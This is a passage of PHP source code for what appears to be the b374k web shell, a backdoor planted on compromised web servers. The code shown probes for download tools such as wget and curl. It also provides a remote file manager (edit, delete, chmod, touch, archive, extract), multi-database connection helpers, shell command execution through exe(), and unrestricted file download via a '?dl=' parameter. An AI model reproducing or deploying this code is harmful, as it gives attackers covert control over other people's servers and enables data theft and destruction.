				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "lwpdownload":
			$s_cek = strtolower(exe("lwp-download --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("lwp-download --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "lynx":
			$s_cek = strtolower(exe("lynx --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("lynx -version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "curl":
			$s_cek = strtolower(exe("curl --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("curl --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		default:
			return false;
	}
	if(!empty($ver)) $s_s = $ver;
	return $s_s;
}
// find available archiver
function get_archiver_available(){
	global $s_self, $s_tar;

	$s_dlfile = "";
	$s_avail_arc = array("raw" => "raw");

	if(class_exists("ZipArchive")) $s_avail_arc["ziparchive"] = "zip";
	if($s_tar){
		$s_avail_arc["tar"] = "tar";
		$s_avail_arc["targz"] = "tar.gz";
	}

	$s_option_arc = "";
	foreach($s_avail_arc as $s_t=>$s_u) $s_option_arc .= "<option value=\"".$s_t."\">".$s_u."</option>";

	$s_dlfile .= "<form action='".$s_self."' method='post'>
				<select onchange='download(this);' name='dltype' class='inputzbut' style='width:80px;height:20px;'>
				<option value='' disabled selected>Download</option>
				".$s_option_arc."
				</select>
				<input type='hidden' name='dlpath' value='__dlpath__' />
				</form>";
	return $s_dlfile;
}
// explorer, return a table of given dir
function showdir($s_cwd){
	global $s_self, $s_win, $s_posix, $s_tar;

	$s_fname = $s_dname = array();
	$s_total_file = $s_total_dir = 0;

	if($s_dh = @opendir($s_cwd)){
		while($s_file = @readdir($s_dh)){
			if(@is_dir($s_file)) $s_dname[] = $s_file;
			elseif(@is_file($s_file))$s_fname[] = $s_file;
		}
		closedir($s_dh);
	}

	natcasesort($s_fname);
	natcasesort($s_dname);
	$s_list = array_merge($s_dname,$s_fname);

	if($s_win){
		//check if this root directory
		chdir("..");
		if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, ".");
		chdir($s_cwd);
	}

	$s_path = explode(DS,$s_cwd);
	$s_tree = sizeof($s_path);

	$s_parent = "";
	if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS;
	else $s_parent = $s_cwd;

	$s_owner_html = (!$s_win && $s_posix) ? "<th style='width:150px;min-width:150px;'><font face='wingdings' size='5'>z</font> Owner:group</th>" : "";
	$s_colspan = (!$s_win && $s_posix) ? "5" : "4";
	$s_buff = "<table class='explore sortable'><thead><tr><th style='width:30px;min-width:30px;' class='sorttable_nosort'><font face='wingdings' size='5'>#</font></th><th style='min-width:300px;'><font face='wingdings' size='5'>4</font> Name</th><th style='width:150px;min-width:150px;'><font face='wingdings' size='5'>v</font> Size</th>".$s_owner_html."<th style='width:150px;min-width:150px;'><font face='wingdings' size='5'>[</font> Property</th><th style='width:150px;min-width:150px;'><font face='wingdings' size='5'>&#185;</font> Modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'><font face='wingdings' size='5'>8</font> Action</th></tr></thead><tbody>";

	$s_arc = get_archiver_available();
	foreach($s_list as $s_l){
		if(!$s_win && $s_posix){
			$s_name = posix_getpwuid(fileowner($s_l));
			$s_group = posix_getgrgid(filegroup($s_l));
			$s_owner = $s_name['name']."<span class='gaya'>:</span>".$s_group['name'];
			$s_owner_html = "<td style='text-align:center;'>".$s_owner."</td>";
		}

		$s_lhref = $s_lname = $s_laction = "";
		if(@is_dir($s_l)){
			if($s_l=="."){
				$s_lhref = $s_self."cd=".$s_cwd;
				$s_lsize = "<font face='webdings' size='2'>+</font> Link";
				$s_laction = "<span id='titik1'><a href='".$s_self."cd=".$s_cwd."&find=".$s_cwd."'>Find</a> | <a href='".$s_self."cd=".$s_cwd."&x=upload'>Up</a> | <a href='".$s_self."cd=".$s_cwd."&edit=".$s_cwd."newfile_1&new=yes'>+File</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+Dir</a></span><div id='titik1_form'></div>";
			}
			elseif($s_l==".."){
				$s_lhref = $s_self."cd=".$s_parent;
				$s_lsize = "<font face='webdings' size='2'>+</font> Link";
				$s_laction = "<span id='titik2'><a href='".$s_self."cd=".$s_parent."&find=".$s_parent."'>Find</a> | <a href='".$s_self."cd=".$s_parent."&x=upload'>Up</a> | <a href='".$s_self."cd=".$s_parent."&edit=".$s_parent."newfile_1&new=yes'>+File</a> | <a href=\"javascript:tukar('titik2','".adds($s_parent)."', 'mkdir','newfolder_1');\">+Dir</a></span><div id='titik2_form'></div>";
			}
			else{
				$s_lhref = $s_self."cd=".$s_cwd.$s_l.DS;
				$s_lsize = "<font face='webdings' size='2'>&#204;</font> Dir";
				$s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."cd=".$s_cwd.$s_l.DS."&find=".$s_cwd.$s_l.DS."'>Find</a> | <a href='".$s_self."cd=".$s_cwd.$s_l.DS."&x=upload'>Up</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".$s_l."','".$s_l."');\">Ren</a> | <a href='".$s_self."cd=".$s_cwd."&del=".$s_l."'>Del</a></span><div id='".cs($s_l)."__form'></div>";
				$s_total_dir++;
			}
			$s_lname = "<font face='wingdings' size='4'>1</font> [ ".$s_l." ]";
			$s_lsizetit = "0";
			$s_lnametit = "Dir : ".$s_l;
		}
		else{
			$s_lhref = $s_self."view=".$s_cwd.$s_l;
			$s_lname = "<font face='wingdings' size='5'>2</font> ".$s_l;
			$s_lsize = "<font face='wingdings' size='3'>3</font> ".gs($s_l);
			$s_lsizetit = @filesize($s_l);
			$s_lnametit = "File : ".$s_l;
			$s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."edit=".$s_cwd.$s_l."'>Edit</a> | <a href='".$s_self."hexedit=".$s_cwd.$s_l."'>Hex</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".$s_l."','".$s_l."');\">Ren</a> | <a href='".$s_self."del=".$s_cwd.$s_l."'>Del</a> | <a href='".$s_self."dl=".$s_cwd.$s_l."'>Down</a></span><div id='".cs($s_l)."__form'></div>";
			$s_total_file++;
		}

		$s_cboxval = $s_cwd.$s_l;
		if($s_l=='.') $s_cboxval = $s_cwd;
		if($s_l=='..') $s_cboxval = $s_parent;

		$s_cboxes_id = substr(md5($s_lhref),0,8);
		$s_cboxes = "<input id='".$s_cboxes_id."' name='cbox' value='".$s_cboxval."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_cboxes_id."' class='css-label'></label>";

		$s_ldl = str_replace("__dlpath__",$s_l,$s_arc);
		$s_ltime = filemtime($s_l);
		$s_buff .= "
		<tr>
		<td style='text-align:center;text-indent:4px;'>".$s_cboxes."</td>
		<td class='explorelist' title='".$s_lnametit."' ondblclick=\"return go('".adds($s_lhref)."',event);\"><a href='".$s_lhref."'>".$s_lname."</a></td>
		<td title='".$s_lsizetit."'>".$s_lsize."</td>
		".$s_owner_html."
		<td style='text-align:center;'>".gp($s_l)."</td>
		<td style='text-align:center;' title='".$s_ltime."'>".@date("Y-m-d H:i:s",$s_ltime)."</td>
		<td>".$s_laction."</td>
		</tr>";
	}
	$s_buff .= "</tbody>";

	$s_extract = ""; $s_compress = "";
	if(class_exists("ZipArchive")){
		$s_extract .= "<option value='extractzip'>extract (zip)</option>";
		$s_compress .= "<option value='compresszip'>compress (zip)</option>";
	}
	if($s_tar){
		$s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
		$s_compress .="<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
	}

	$s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value='' disabled>-</option>".$s_compress:$s_extract.$s_compress;

	$s_buff .= "<tfoot><tr class='cbox_selected'>
			<td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td>
			<td>
			<form action='".$s_self."' method='post'>
			<select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'>
				<option value='' disabled selected>Action</option>
				<option value='cut'>cut</option>
				<option value='copy'>copy</option>
				<option value='paste'>paste</option>
				<option value='delete'>delete</option>
				<option value='' disabled>-</option>
				<option value='chmod'>chmod</option>
				<option value='touch'>touch</option>
				<option value='' disabled>-</option>
				".$s_extcom."
			</select>
			<noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form>
			</td><td colspan='".$s_colspan."' style='text-align:left;'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id='total_selected'></span></td>
			</tr></tfoot>
			</table>";

	return $s_buff;
}
//database related functions
function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
	if($s_sqltype == 'mysql'){ if(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
	elseif($s_sqltype == 'mssql'){
		if(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
		elseif(function_exists('sqlsrv_connect')){
			$s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass);
			return @sqlsrv_connect($s_sqlhost,$s_coninfo);
		}
	}
	elseif($s_sqltype == 'pgsql'){
		$s_hosts = explode(":", $s_sqlhost);
		if(count($s_hosts)==2){
			$s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
		}
		else $s_host_str = "host=".$s_sqlhost;
		if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
	}
	elseif($s_sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); }
	elseif($s_sqltype == 'sqlite3'){
		if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
		else return false;
	}
	elseif($s_sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost); }
	elseif($s_sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
	elseif($s_sqltype == 'pdo'){
		if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
		else return false;
	}
	return false;
}
function sql_query($s_sqltype, $s_query, $s_con){
	if($s_sqltype == 'mysql') return mysql_query($s_query);
	elseif($s_sqltype == 'mssql'){
		if(function_exists('mssql_query')) return mssql_query($s_query);
		elseif(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query);
	}
	elseif($s_sqltype == 'pgsql') return pg_query($s_query);
	elseif($s_sqltype == 'oracle') return oci_execute(oci_parse($s_con, $s_query));
	elseif($s_sqltype == 'sqlite3') return $s_con->query($s_query);
	elseif($s_sqltype == 'sqlite') return sqlite_query($s_con, $s_query);
	elseif($s_sqltype == 'odbc') return odbc_exec($s_con, $s_query);
	elseif($s_sqltype == 'pdo') return $s_con->query($s_query);
}
function sql_num_fields($s_sqltype, $s_hasil){
	if($s_sqltype == 'mysql') return mysql_num_fields($s_hasil);
	elseif($s_sqltype == 'mssql'){
		if(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil);
		elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil);
	}
	elseif($s_sqltype == 'pgsql') return pg_num_fields($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_num_fields($s_hasil);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->numColumns();
	elseif($s_sqltype == 'sqlite') return sqlite_num_fields($s_hasil);
	elseif($s_sqltype == 'odbc') return odbc_num_fields($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->columnCount();
}
function sql_field_name($s_sqltype,$s_hasil,$s_i){
	if($s_sqltype == 'mysql') return mysql_field_name($s_hasil,$s_i);
	elseif($s_sqltype == 'mssql'){
		if(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i);
		elseif(function_exists('sqlsrv_field_metadata')){
			$s_metadata = sqlsrv_field_metadata($s_hasil);
			if(is_array($s_metadata)){
				$s_metadata=$s_metadata[$s_i];
			}
			if(is_array($s_metadata)) return $s_metadata['Name'];
		}
	}
	elseif($s_sqltype == 'pgsql') return pg_field_name($s_hasil,$s_i);
	elseif($s_sqltype == 'oracle') return oci_field_name($s_hasil,$s_i+1);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->columnName($s_i);
	elseif($s_sqltype == 'sqlite') return sqlite_field_name($s_hasil,$s_i);
	elseif($s_sqltype == 'odbc') return odbc_field_name($s_hasil,$s_i+1);
	elseif($s_sqltype == 'pdo'){
		$s_res = $s_hasil->getColumnMeta($s_i);
		return $s_res['name'];
	}
}
function sql_fetch_data($s_sqltype,$s_hasil){
	if($s_sqltype == 'mysql') return mysql_fetch_row($s_hasil);
	elseif($s_sqltype == 'mssql'){
		if(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil);
		elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1);
	}
	elseif($s_sqltype == 'pgsql') return pg_fetch_row($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_fetch_row($s_hasil);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->fetchArray(1);
	elseif($s_sqltype == 'sqlite') return sqlite_fetch_array($s_hasil,1);
	elseif($s_sqltype == 'odbc') return odbc_fetch_array($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->fetch(2);
}
function sql_num_rows($s_sqltype,$s_hasil){
	if($s_sqltype == 'mysql') return mysql_num_rows($s_hasil);
	elseif($s_sqltype == 'mssql'){
		if(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil);
		elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil);
	}
	elseif($s_sqltype == 'pgsql') return pg_num_rows($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_num_rows($s_hasil);
	elseif($s_sqltype == 'sqlite3'){
		$s_metadata = $s_hasil->fetchArray();
		if(is_array($s_metadata)) return $s_metadata['count'];
	}
	elseif($s_sqltype == 'sqlite') return sqlite_num_rows($s_hasil);
	elseif($s_sqltype == 'odbc') return odbc_num_rows($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->rowCount();
}
function sql_close($s_sqltype,$s_con){
	if($s_sqltype == 'mysql') return mysql_close($s_con);
	elseif($s_sqltype == 'mssql'){
		if(function_exists('mssql_close')) return mssql_close($s_con);
		elseif(function_exists('sqlsrv_close')) return sqlsrv_close($s_con);
	}
	elseif($s_sqltype == 'pgsql') return pg_close($s_con);
	elseif($s_sqltype == 'oracle') return oci_close($s_con);
	elseif($s_sqltype == 'sqlite3') return $s_con->close();
	elseif($s_sqltype == 'sqlite') return sqlite_close($s_con);
	elseif($s_sqltype == 'odbc') return odbc_close($s_con);
	elseif($s_sqltype == 'pdo') return $s_con = null;
}
if(!function_exists('str_split')){
	function str_split($s_t,$s_s=1){
		$s_a = array();
		for($s_i = 0; $s_i<strlen($s_t);){
			$s_a[] = substr($s_t,$s_i,$s_s);
			$s_i += $s_s;
		}
		return $s_a;
	}
}

// appearance
$s_theme = "dark"; // default is dark
if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
if(isset($_GP['x']) && ($_GP['x']=='switch')){
	if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
	if($s_theme=="bright") $s_theme = "dark";
	else $s_theme = "bright";
	setcookie("theme", $s_theme ,time() + $s_login_time);
}

$s_dark = array("#000000", "#FFFFFF", "#222222", "#4C9CAF", "#111111", "#AAAAAA", "#292929", "#363636", "#191919", "#444444", "#CCCCCC", "#999999", "#202020");
$s_bright = array("#FFFFFF", "#000000", "#DDDDDD", "#B36350", "#EEEEEE", "#555555", "#D6D6D6", "#C9C9C9", "#E6E6E6", "#BBBBBB", "#333333", "#666666", "#DFDFDF");
$s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000");
$s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF");
$s_color = ($s_theme=="bright") ? $s_bright:$s_dark;
$s_checkbox = ($s_theme=="bright") ? $s_bright_cb:$s_dark_cb;

global $s_self, $s_win, $s_posix;

$s_self = "?";
$s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
$s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1));

if(isset($_COOKIE['b374k_included'])){
	if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE['s_self'];
	else{
		$s_self = "?";
		setcookie("b374k_included", "0" ,time() - $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
}
else{
	if(strcmp($s_cek1,$s_cek2)!=0){
		if(!isset($_COOKIE['s_home'])){
			$s_home = "?".$_SERVER["QUERY_STRING"]."&";
			setcookie("s_home", $s_home ,time() + $s_login_time);
		}
		if(isset($s_home)) $s_self = $s_home;
		elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
		setcookie("b374k_included", "1" ,time() + $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
	else{
		$s_self = "?";
		setcookie("b374k_included", "0" ,time() - $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
}

if($s_auth){
	// server software
	$s_software = getenv("SERVER_SOFTWARE");
	// uname -a
	$s_system = php_uname();
	// check os
	$s_win = (strtolower(substr($s_system,0,3)) == "win") ? true : false;
	// check for posix
	$s_posix = (function_exists("posix_getpwuid")) ? true : false;
	// change working directory
	if(isset($_GP['cd'])){
		$s_dd = $_GP['cd'];
		if(@is_dir($s_dd)){
			$s_cwd = cp($s_dd);
			chdir($s_cwd);
			setcookie("cwd", $s_cwd ,time() + $s_login_time);
		}
	}
	else{
		if(isset($_COOKIE['cwd'])){
			$s_dd = ss($_COOKIE['cwd']);
			if(@is_dir($s_dd)){
				$s_cwd = cp($s_dd);
				chdir($s_cwd);
			}
		}
		else $s_cwd = cp(getcwd());
	}

	if(!$s_win && $s_posix){
		$s_userarr = posix_getpwuid(posix_geteuid());
		if(isset($s_userarr['name'])) $s_user = $s_userarr['name'];
		else $s_user = "$";
	}
	else {
		$s_user = get_current_user();
	}

	// prompt style
	$s_prompt = 'CMD '.$s_user.' &gt;';
	// server name
	$s_server_name = $_SERVER['HTTP_HOST'];
	// server ip
	$s_server_ip = gethostbyname($_SERVER['HTTP_HOST']);
	// your ip ;-)
	$s_my_ip = $_SERVER['REMOTE_ADDR'];
	$s_result = "";

	global $s_python, $s_perl, $s_ruby, $s_node, $s_gcc, $s_java, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;

	$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
	foreach($s_access as $s){
		if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
		else{
			if(!isset($_COOKIE['b374k'])){
				$t = explode("_", $s);
				$t = check_access($t[1]);
				if($t!==false){
					$$s = $t;
					setcookie($s, $$s ,time() + $s_login_time);
				}
			}
		}
	}

	if(!empty($_GP['dltype']) && !empty($_GP['dlpath'])){
		ob_end_clean();
		$s_dltype = $_GP['dltype'];
		$s_dlpath = $_GP['dlpath'];

		$s_dlname = basename($s_dlpath);
		if($s_dlpath==".") $s_dlname = basename($s_cwd);
		elseif($s_dlpath==".."){
			chdir("..");
			$s_dlname=basename(getcwd());
			chdir($s_cwd);
		}
		$s_tmpdir = get_writabledir();
		$s_dlarchive = $s_tmpdir.$s_dlname;
		$s_dlthis = "";
		if($s_dltype=="ziparchive"){
			$s_dlarchive .= ".zip";
			if(zip($s_dlpath,$s_dlarchive)) $s_dlthis = $s_dlarchive;
		}
		elseif($s_dltype=="tar"){
			$s_dlarchive .= ".tar";
			$s_dlarchive = str_replace('\', '/', $s_dlarchive);
			exe("tar cf ".$s_dlarchive." ".$s_dlpath);
			$s_dlthis = $s_dlarchive;
		}
		elseif($s_dltype=="targz"){
			$s_dlarchive .= ".tar.gz";
			$s_dlarchive = str_replace('\', '/', $s_dlarchive);
			exe("tar czf ".$s_dlarchive." ".$s_dlpath);
			$s_dlthis = $s_dlarchive;
		}
		elseif($s_dltype=="raw"){
			if(@is_file($s_dlpath)) $s_dlthis = $s_dlpath;
		}

		if(@is_file($s_dlthis)){
			header("Content-Type: application/octet-stream");
			header('Content-Transfer-Encoding: binary');
			header("Content-length: ".@filesize($s_dlthis));
			header("Content-disposition: attachment; filename=\"".basename($s_dlthis)."\";");
			$s_file = @fopen($s_dlthis,"rb");
			while(!feof($s_file)){
				print(@fread($s_file, 1024*8));
				ob_flush();
				flush();
			}
			fclose($s_file);

			if($s_dltype!="raw"){
				rename($s_dlthis,$s_dlthis."del");
				unlink($s_dlthis."del");
			}
			die();
		}
	}
	// download file specified by ?dl=<file>
	if(isset($_GP['dl']) && ($_GP['dl'] != "")){
		ob_end_clean();
		$f = $_GP['dl'];
		$fc = file_get_contents($f);
		header("Content-type: application/octet-stream");
		header("Content-length: ".strlen($fc));
		header("Content-disposition: attachment; filename=\"".basename($f)."\";");
		echo $fc;
		die();
	}
	// massact
	if(isset($_GP['z'])){
		$s_massact = isset($_COOKIE['massact']) ? $_COOKIE['massact'] : "";
		$s_buffer = isset($_COOKIE['buffer']) ? rtrim(ss($_COOKIE['buffer']),"|") : "";
		$s_lists = explode("|", $s_buffer);

		$s_counter = 0;
		if(!empty($s_buffer)){
			if($_GP['z']=='moveok'){
				foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items moved");
				else $s_result .= notif("No items moved");
			}
			elseif($_GP['z']=='copyok'){
				foreach($s_lists as $s_l){
					if(@is_dir($s_l)){
						copys($s_l,$s_cwd.basename($s_l));
						if(file_exists($s_cwd.basename($s_l))) $s_counter++;
					}
					elseif(@is_file($s_l)){
						copy($s_l,$s_cwd.basename($s_l));
						if(file_exists($s_cwd.basename($s_l))) $s_counter++;
					}
				}
				if($s_counter>0) $s_result .= notif($s_counter." items copied");
				else $s_result .= notif("No items copied");
			}
			elseif($_GP['z']=='delok'){
				foreach($s_lists as $s_l){
					if(@is_file($s_l)){
						if(unlink($s_l)) $s_counter++;
					}
					elseif(@is_dir($s_l)){
						rmdirs($s_l);
						if(!file_exists($s_l)) $s_counter++;
					}
				}
				if($s_counter>0) $s_result .= notif($s_counter." items deleted");
				else $s_result .= notif("No items deleted");
			}
			elseif(isset($_GP['chmodok'])){
				$s_mod = octdec($_GP['chmodok']);
				foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod));
				else $s_result .= notif("No items modified");
			}
			elseif(isset($_GP['touchok'])){
				$s_datenew = strtotime($_GP['touchok']);
				foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("Y-m-d H:i:s",$s_datenew));
				else $s_result .= notif("No items modified");
			}
			elseif(isset($_GP['compresszipok'])){
				$s_file = $_GP['compresszipok'];
				if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".$s_file);
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['compresstarok'])){
				$s_lists_ = array();
				$s_file = $_GP['compresstarok'];
				$s_file = basename($s_file);

				$s_lists__ = array_map("basename", $s_lists);
				$s_lists_ = array_map("pf", $s_lists__);
				exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_));

				if(@is_file($s_file)) $s_result .= notif("Archive created : ".$s_file);
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['compresstargzok'])){
				$s_lists_ = array();
				$s_file = $_GP['compresstargzok'];
				$s_file = basename($s_file);

				$s_lists__ = array_map("basename", $s_lists);
				$s_lists_ = array_map("pf", $s_lists__);
				exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_));

				if(@is_file($s_file)) $s_result .= notif("Archive created : ".$s_file);
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['extractzipok'])){
				$s_file = $_GP['extractzipok'];
				$zip = new ZipArchive();
				foreach($s_lists as $f){
					$s_target = $s_file.basename($f,".zip");
					if($zip->open($f)){
						if(!@is_dir($s_target)) @mkdir($s_target);
						if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".$s_target);
						else $s_result .= notif("Error extrating archive file");
						$zip->close();
					}
					else $s_result .= notif("Error opening archive file");
				}
			}
			elseif(isset($_GP['extracttarok'])){
				$s_file = $_GP['extracttarok'];
				foreach($s_lists as $f){
					$s_target = "";
					$s_target = basename($f,".tar");
					if(!@is_dir($s_target)) @mkdir($s_target);
					exe("tar xf \"".basename($f)."\" -C \"".$s_target."\"");
				}
			}
			elseif(isset($_GP['extracttargzok'])){
				$s_file = $_GP['extracttargzok'];
				foreach($s_lists as $f){
					$s_target = "";
					if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz");
					elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz");
					if(!@is_dir($s_target)) @mkdir($s_target);
					exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\"");
				}
			}
		}
		setcookie("buffer", "" ,time() - $s_login_time);
		setcookie("massact", "" ,time() - $s_login_time);
	}
	if(isset($_GP['y'])){
		$s_massact = isset($_COOKIE['massact']) ? $_COOKIE['massact']:"";
		$s_buffer = isset($_COOKIE['buffer']) ? rtrim(ss($_COOKIE['buffer']),"|"):"";
		$s_lists = explode("|", $s_buffer);

		if(!empty($s_buffer)){
			if($_GP['y']=='delete'){
				$s_result .= notif("Delete ? <a href='".$s_self."z=delok'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='paste' && $s_massact=='cut'){
				$s_result .= notif("Move here ? <a href='".$s_self."z=moveok'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='paste' && $s_massact=='copy'){
				$s_result .= notif("Copy here ? <a href='".$s_self."z=copyok'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='chmod'){
				$s_result .= notif("Permissions ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='touch'){
				$s_result .= notif("Touch ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".@date("Y-m-d H:i:s",time())."' name='touchok' style='width:130px;text-align:center;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extractzip'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd."' name='extractzipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extracttar'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd."' name='extracttarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extracttargz'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd."' name='extracttargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresszip'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd.substr(md5(time()),0,8).".zip' name='compresszipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresstar'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd.substr(md5(time()),0,8).".tar' name='compresstarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresstargz'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd.substr(md5(time()),0,8).".tar.gz' name='compresstargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
		}
	}

	// view image specified by ?img=<file>
	if(isset($_GP['img'])){
		ob_end_clean();
		$s_d = isset($_GP['d']) ? $_GP['d']:"";
		$s_f = $_GP['img'];
		$s_inf = @getimagesize($s_d.$s_f);
		$s_ext = explode($s_f, ".");
		$s_ext = $s_ext[count($s_ext)-1];
	 	header("Content-type: ".$s_inf["mime"]);
	 	header("Cache-control: public");
		header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030)));
		header("Cache-control: max-age=".(60*60*24*7));#
